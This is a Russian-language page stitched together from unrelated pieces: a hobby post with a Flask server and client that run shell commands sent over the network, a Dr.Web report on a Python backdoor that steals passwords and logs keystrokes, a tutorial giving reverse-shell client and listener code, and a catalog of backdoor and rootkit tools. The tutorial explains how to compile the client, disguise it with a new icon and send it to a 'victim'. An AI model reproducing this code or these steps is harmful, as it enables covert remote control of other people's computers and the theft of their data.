Небольшой бэкдор на Flask или как управлять компьютером в локальной сети
Недавно я посмотрел скачанную версию стрима по программированию «Как создать свое веб-приложение на Flask». И решил закрепить свои знания в каком-нибудь проекте. Долго не знал, что написать и мне пришла идея: «А почему бы не сделать мини-бэкдор на Flask?».
В голове тут же появились первые варианты реализаций и возможностей бэкдора. Но я решил сразу составить список возможностей бэкдора:
- Уметь открывать сайты
- Иметь доступ к командной строке
- Уметь открывать программы, фото, видео
Написание сервера
Итак, *барабанная дробь* весь код сервера:
from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands. ' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '. ' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '. ' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0')
Я уже вывалил весь код, пора объяснять суть.
Весь код запускается на локальном компьютере на 5000 порту. Для взаимодействия с сервером мы должны отправлять JSON POST запрос.
Структура JSON запроса:
Ну, логично, что ‘command’ – команда, которую мы хотим выполнить. А ‘data’ – аргументы команды.
Можно писать и отправлять JSON запросы для взаимодействия с сервером ручками(вам в помощь requests). А можно написать консольный клиент.
Написание клиента
import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'openweb': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break
Первым делом импортируется модуль requests(для взаимодействия с сервером). Дальше описания функций start и test. А дальше цикл в котором происходит волшебство. Читали код? Значит вам ясен смысл волшебства, происходящего в цикле. Вводите команду – она выполняется. Shell – команды для командной строки(логика зашкаливает).
Test – проверка, работает ли сервер(бэкдор)
Link – использование «ярлыка»
Openweb – открытие сайта
Quit – выход из клиента
Set – задание ip вашего компьютера в локальной сети
А сейчас поподробнее о link.
Рядом с сервером лежит файл link.txt. В нём находятся ссылки(полный путь) к файлам(видео, фото, программы).
Итог
Мы имеем сервер-бэкдор для управления компьютером в локальной сети(внутри wi-fi сети). Технически мы можем запустить клиент с любого устройства, на котором есть интерпретатор python.
P.S. Команду set я добавил для того, чтобы если компьютеру в локальной сети присвоят другой ip, можно было прямо в клиенте его изменить.
- Системное администрирование
- Python
Бэкдор на языке Python
Как сообщила компания «Доктор Веб», ее аналитики исследовали новый бэкдор, особенность которого заключается в том, что он написан на языке Python. Вредоносная программа добавлена в вирусные базы Dr.Web под именем Python.BackDoor.33.
Внутри файла троянца хранится запакованная утилита py2exe, которая позволяет запускать в Windows сценарии на языке Python как обычные исполняемые файлы. Основные функции вредоносной программы реализованы в файле mscore.pyc. Python.BackDoor.33 сохраняет свою копию в одной из папок на диске, для обеспечения собственного запуска модифицирует системный реестр Windows и завершает выполнение сценария. Таким образом, основные вредоносные функции бэкдора выполняются после перезагрузки системы.
После перезагрузки троянец пытается заразить все подключенные к устройству накопители с именами от C до Z. Для этого он создает скрытую папку, сохраняет в ней копию своего исполняемого файла (также с атрибутом «скрытый»), после чего в корневой папке диска создает ссылку вида .lnk, которая ведет на вредоносный исполняемый файл. Все файлы, отличные от файла .lnk, VolumeInformation.exe и .vbs, он перемещает в созданную ранее скрытую папку.
Затем троянец пытается определить IP-адрес и доступный порт управляющего сервера, отправляя запрос к нескольким серверам в Интернете, включая pastebin.com, docs.google.com и notes.io. Если бэкдору удалось получить IP-адрес и порт, он отсылает на управляющий сервер специальный запрос. Если троянец получает на него ответ, он скачивает с управляющего сервера и запускает на инфицированном устройстве сценарий на языке Python, добавленный в вирусные базы Dr.Web под именем Python.BackDoor.35. В этом сценарии реализованы функции кражи паролей (стилер), перехвата нажатия клавиш (кейлоггер) и удаленного выполнения команд (бэкдор).
Кроме того, троянец умеет проверять подключенные к зараженному устройству носители информации и заражать их схожим образом. В частности, Python.BackDoor.35 позволяет злоумышленникам:
- красть информацию из браузеров Chrome, Opera, Yandex, Amigo, Torch, Spark;
- фиксировать нажатия клавиш и делать снимки экрана;
- загружать дополнительные модули на Python и исполнять их;
- скачивать файлы и сохранять их на носителе инфицированного устройства;
- получать содержимое заданной папки;
- перемещаться по папкам;
- запрашивать информацию о системе.
Помимо прочего, в структуре Python.BackDoor.35 предусмотрена функция самообновления, однако в настоящий момент она не задействована. Сигнатуры всех упомянутых выше вредоносных программ добавлены в вирусные базы Dr.Web.
Простой Backdoor на Python
Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3).
import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main()
import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection. ") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main()
Сдесь сам «вирус» является клиентом, а не сервером.
Теперь о том, как это все скомпилировать и использовать.
Требуется:
1. Python 3
2. Pyinstaller (его можно установить через pip командой «pip install pyinstaller»)
Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно).
Теперь компилируем Client.py.
Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен
запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно).
Маскируем файл (меняем иконку и т.д.) и отправляем жертва.
Запускаем наш сервер и ждем, пока жертва откроет файл.
Вот и удаленный доступ.
Как сделать бэкдор на python
Главная / Инструменты / backdoor
Пакеты, которые используют или устанавливают бэкдоры на уязвимых системах.
| Имя | Версия | Описание | Категория | Веб-сайт |
|---|---|---|---|---|
| aesshell | 0.7 | Шэлл с обратной связью для Windows и Unix, написан на python и использует AES в режиме CBC в сочетании с HMAC-SHA256 для безопасного обмена данными. | backdoor windows | |
| arcane | 2.750cb9f | Backdoor iOS packages and create the necessary resources for APT repositories. | mobile backdoor | |
| avet | 133.2f1d882 | Инструмент обхода антивирусов | binary backdoor automation | |
| azazel | 15.a41fbb5 | Руткит пользовательского окружения, основан на оригинальной LD_PRELOAD технике от Jynx rootkit. | backdoor | |
| backcookie | 51.6dabc38 | Маленький бэкдор использующий куки. | backdoor webapp | |
| backdoor-apk | 141.2710126 | Shell скрипт, который упрощает процесс добавления бэкдора к любому файлу Android APK | mobile backdoor | |
| backdoor-factory | 1:210.0c53045 | Патчит бинарные файлы win32/64 шэллкодом. | backdoor binary | |
| backdoorme | 308.f9755ca | Мощная утилита способная бэкдорить Unix машины множеством бэкдоров. | backdoor automation | |
| backdoorppt | 88.d0e7f91 | Трансформирует ваш payload.exe в фальшивый документ word doc (.ppt). | backdoor | |
| backorifice | 1.0 | Система удалённого администрирования, позволяющая пользователю контролировать компьютер по tcpip соединению используя простое консольное приложение или программа с графическим интерфейсом. | windows backdoor | |
| barq | 35.6f1a68c | An AWS Cloud Post Exploitation framework. | exploitation backdoor automation recon | |
| cymothoa | 1 | Инструмент незаметного бэкдоринга, делает внедрение шеллкода бэкдора в существующий процесс. | backdoor | |
| debinject | 43.d884309 | Внедрение вредоносного кода в *.debs. | backdoor | |
| demiguise | 11.58d5681 | Инструмент шифрования HTA для RedTeams. | crypto windows backdoor | |
| donut | 501.61af8cc | Создаёт x86, x64 или AMD64 + x86 P.I. шеллкод, загружающий сборки .NET из памяти. | backdoor exploitation | |
| dr0p1t-framework | 44.db9bc2d | Фреймворк, который создаёт dropper (троян, загружающий другие вирусы), он способен обойти большинство антивирусов и песочниц, имеет некоторые хитрости. | backdoor | |
| dragon-backdoor | 7.c7416b7 | Со сниффингом, без привязки, обратная down/exec служба простукивания портов, основана на cd00r.c. | backdoor sniffer windows | |
| eggshell | 157.eaeeea7 | Инструмент удалённого администрирования iOS/macOS/Linux. | backdoor | |
| enyelkm | 1.2 | Руткит для Linux x86 с ядрами v2.6. | backdoor | |
| evil-winrm | 1:v3.5.r0.g7514b05 | The ultimate WinRM shell for hacking/pentesting. | exploitation backdoor | |
| evilpdf | 5.43696a8 | Embedding executable files in PDF Documents. | backdoor | |
| exe2image | 1.1 | Простая утилита для конвертации EXE файлов в JPEG изображения и обратно. | backdoor binary | |
| gobd | 82.3bbd17c | Завуалированный бэкдор на Golang (языке Go). | backdoor | |
| harness | 19.ed2a6aa | Интерактивная удаленная полезная нагрузка PowerShell. | backdoor windows | |
| hercules-payload | 222.2607a3a | Специальный генератор полезной нагрузки, который может обойти все программы антивирусов. | binary windows backdoor | |
| hotpatch | 90.fd2baf1 | Динамически загружает библиотеку (файл .so) из одного процесса в другой выполняемый в данный момент процесс без воздействия на исполнимый файл. | backdoor | |
| icmpsh | 12.82caf34 | Простой обратный ICMP шелл. | backdoor networking | |
| ilo4-toolbox | 47.672a5d6 | Набор инструментов для анализа HPE iLO4. | scanner automation backdoor | |
| jynx2 | 2.0 | Расширение на LD_PRELOAD оригинального руткита Jynx. | backdoor | |
| k55 | 86.b3c4aa9 | Linux x86_64 Process Injection Utility. | backdoor exploitation | |
| kimi | 28.e7cafda | Скрипт для создания вредоносных пакетов debian (троянов для debain). | backdoor | |
| kwetza | 26.0e50272 | Скрипт Python для внедрения в существующие приложения Android полезную нагрузку Meterpreter. | backdoor exploitation | |
| ld-shatner | 4.5c215c4 | ld-linux инжектор кода. Внедряет код во время выполнения между загрузчиком ELF и целевым исполнимым файлом. | backdoor binary | |
| lfi-image-helper | 0.8 | Простой скрипт для внедрения изображений с PHP бэкдорами для атака локальным инклудом файлов. | webapp backdoor | |
| linux-inject | 100.268d4e4 | Инструмент для внедрения общего объекта в процесс Linux. | backdoor binary | |
| meterssh | 18.9a5ed19 | Способ взять шелл-код, внедрить его в память, а затем туннелировать на любой порт по выбору через SSH для маскировки соединений любого типа под обычное SSH соединение. | backdoor networking | |
| microsploit | 9.441e132 | Простое и быстрое создание бэкдоров эксплуатирующих офисные программы. Использует модуль metasploit packet, Microsoft Office, Open Office, Macro attack, Buffer Overflow. | backdoor | |
| ms-sys | 2.7.0 | Это Linux программа для записи совместимой с Microsoft загрузочной записи — master boot records (mbr) | backdoor binary forensic | |
| msf-mpc | 35.8007ef2 | Генератор полезной нагрузки Msfvenom. | automation backdoor malware | |
| msvpwn | 1:65.328921b | Обход аутентификации Windows посредством внесения изменений в исполнимые файлы. | windows binary backdoor | |
| netbus | 1.6 | Инструмент удалённого администрирования NetBus. | windows backdoor | |
| nxcrypt | 32.6ae06b5 | NXcrypt — платформа для бэкдоров на python. | backdoor | |
| patchkit | 37.95dc699 | Мощная программа для патча бинарных файлов, состоит из скриптов, написанных Python. | binary backdoor | |
| phishery | 14.5743953 | Простой HTTP сервер с поддержкой SSL, его главной целью является фишинг учётных данных через базовую аутентификацию. Также предоставляет возможность легко внедрять URL-адрес в документ Word .docx. | backdoor social | |
| php-findsock-shell | 2.b8a984f | Findsock Shell реализация на PHP + C. | webapp backdoor | |
| pivotsuite | 20.5640666 | Портативный, платформенно-независимый и мощный набор инструментов для разворачивания pivoting (работы с локальной сетью из вне). | networking backdoor | |
| pixload | 87.a8f58a7 | Набор инструментов для создания / внедрения полезной нагрузки в изображения (скрытие бэкдоров). В настоящее время поддерживаются следующие типы изображений: BMP, GIF, JPG, PNG, WebP. | webapp backdoor | |
| poly | 52.4e6f189 | Скрипт на Python, который генерирует полиморфные веб-оболочки. Используйте его, чтобы закодировать ваш любимый шелл и сделать его практически незаметным. | webapp backdoor | |
| powerstager | 14.0149dc9 | Скрипт генерирует троян дроппер (загрузчик) полезной нагрузки на PowerShell. | binary backdoor | |
| pwncat | 0.1.2 | Bind and reverse shell handler with FW/IDS/IPS evasion, self-inject and port-scanning. | backdoor scanner proxy networking | |
| pyrasite | 2.0 | Инструменты для инъекции кода в запущенные процессы Python. | backdoor | |
| remot3d | 38.a707ef7 | Генерирует бэкдоры для поддержки доступа на серверах с PHP. | webapp backdoor exploitation | |
| revsh | 215.174e309 | Обратный шелл с поддержкой терминала, туннелирования данных и сопутствующими продвинутыми возможностями. | backdoor networking | |
| riwifshell | 38.40075d5 | Веб-бэкдор, инфицирует, исследует. | webapp backdoor | |
| rrs | 100:1.70 | Создаёт обратный шелл. Вместо прослушивания входящих соединений, программа соединяется с прослушивателем (с другим экземпляром rrs в режиме прослушивания). Имеется поддержка tty и другое. | backdoor | |
| rspet | 263.de4356e | Обратный шелл, основанный на Python, с функциональностью, помогающий в сценариях последующей эксплуатации. | exploitation backdoor dos | |
| rubilyn | 0.0.1 | Руткит ядра 64bit Mac OS-X, который не использует жёстко прописанный адрес для подцепления подсистемы BSD во всех OS-X Lion и ниже. Он использует комбинацию из подцепления системных вызовов и DKOM для сокрытия активности на хосте. | backdoor | |
| saruman | 2.4be8db5 | Антикриминалистика ELF, для внедрения полного динамического выполнимого кода в образ процесса (с инъекцией потока). | binary backdoor anti-forensic | |
| sb0x | 19.04f40fe | Простой и легковесный фреймворк для тестирования на проникновение. | scanner fuzzer cracker backdoor recon | |
| shellinabox | 428.98e6eeb | Реализация веб-сервера, которая может экспортировать произвольные команды командной строки в основанный на веб эмулятор терминала. Т.е. позволяет работать в веб-браузере будто бы в реальном терминале. | backdoor webapp | |
| shellsploit-framework | 273.a16d22f | Набор инструментов нового поколения по разработке эксплойтов. | exploitation backdoor | |
| shellter | 7.2 | Динамический инструмент для инъекции шелл-кода и первый действительно динамический PE-инжектор. | exploitation backdoor windows | |
| sherlocked | 1.f190c2b | Универсальный упаковщик скриптов — трансформирует скрипт любого типа в защищённый исполнимый файл ELF, зашифрованный от анти-отладки. | packer binary crypto backdoor | |
| shootback | 83.cab462c | Обратный TCP туннель, который позволяет вам получить доступ к цели за NAT или файерволом. | backdoor tunnel | |
| silenttrinity | 293.08b1c61 | Асинхронный агент совместной работы последующей эксплуатации на базе Python и DLR .NET. | backdoor | |
| sub7 | 2.2 | Инструмент удалённого администрирования. | windows backdoor | |
| syringe | 12.79a703e | Утилита общего назначения внедрения DLL и кода. | backdoor binary windows | |
| trixd00r | 0.0.1 | Продвинутый и невидимый в пространстве пользователя бэкдор, базируется на TCP/IP, для систем UNIX. | backdoor | |
| tsh | 0.6 | Бэкдор UNIX с открытым исходным кодом, который компилируется на всех вариантах, имеет полную поддержку pty и использует соединение с надёжным шифрованием. | backdoor | |
| tsh-sctp | 2.850a2da | Бэкдор UNIX с открытым исходным кодом. | backdoor | |
| u3-pwn | 2.0 | Инструмент для автоматизации внедрения исполнимых файлов в умные usb устройства Sandisk с установленной заводской прошивкой U3. | backdoor | |
| unicorn-powershell | 202.80a37eb | Простой инструмент для использования атаки понижения PowerShell и внедрения шелл-кода прямо в память. | backdoor exploitation | |
| vlany | 255.9ef014a | Linux LD_PRELOAD руткит (для архитектур x86 и x86_64). | backdoor | |
| webacoo | 0.2.3 | Набор скриптов куки-бэкдоров. | backdoor webapp | |
| webshells | 46.e8e1a37 | Веб бэкдоры. | backdoor webapp | |
| webspa | 0.8 | Инструмент веб-простукивания, отправляет единичные HTTP/S для запуска команд O/S. | backdoor webapp | |
| weevely | 894.445bd88 | Вооружённый веб-шелл. | backdoor webapp | |
| zipexec | 19.f8d661f | A unique technique to execute binaries from a password protected zip. | crypto backdoor windows |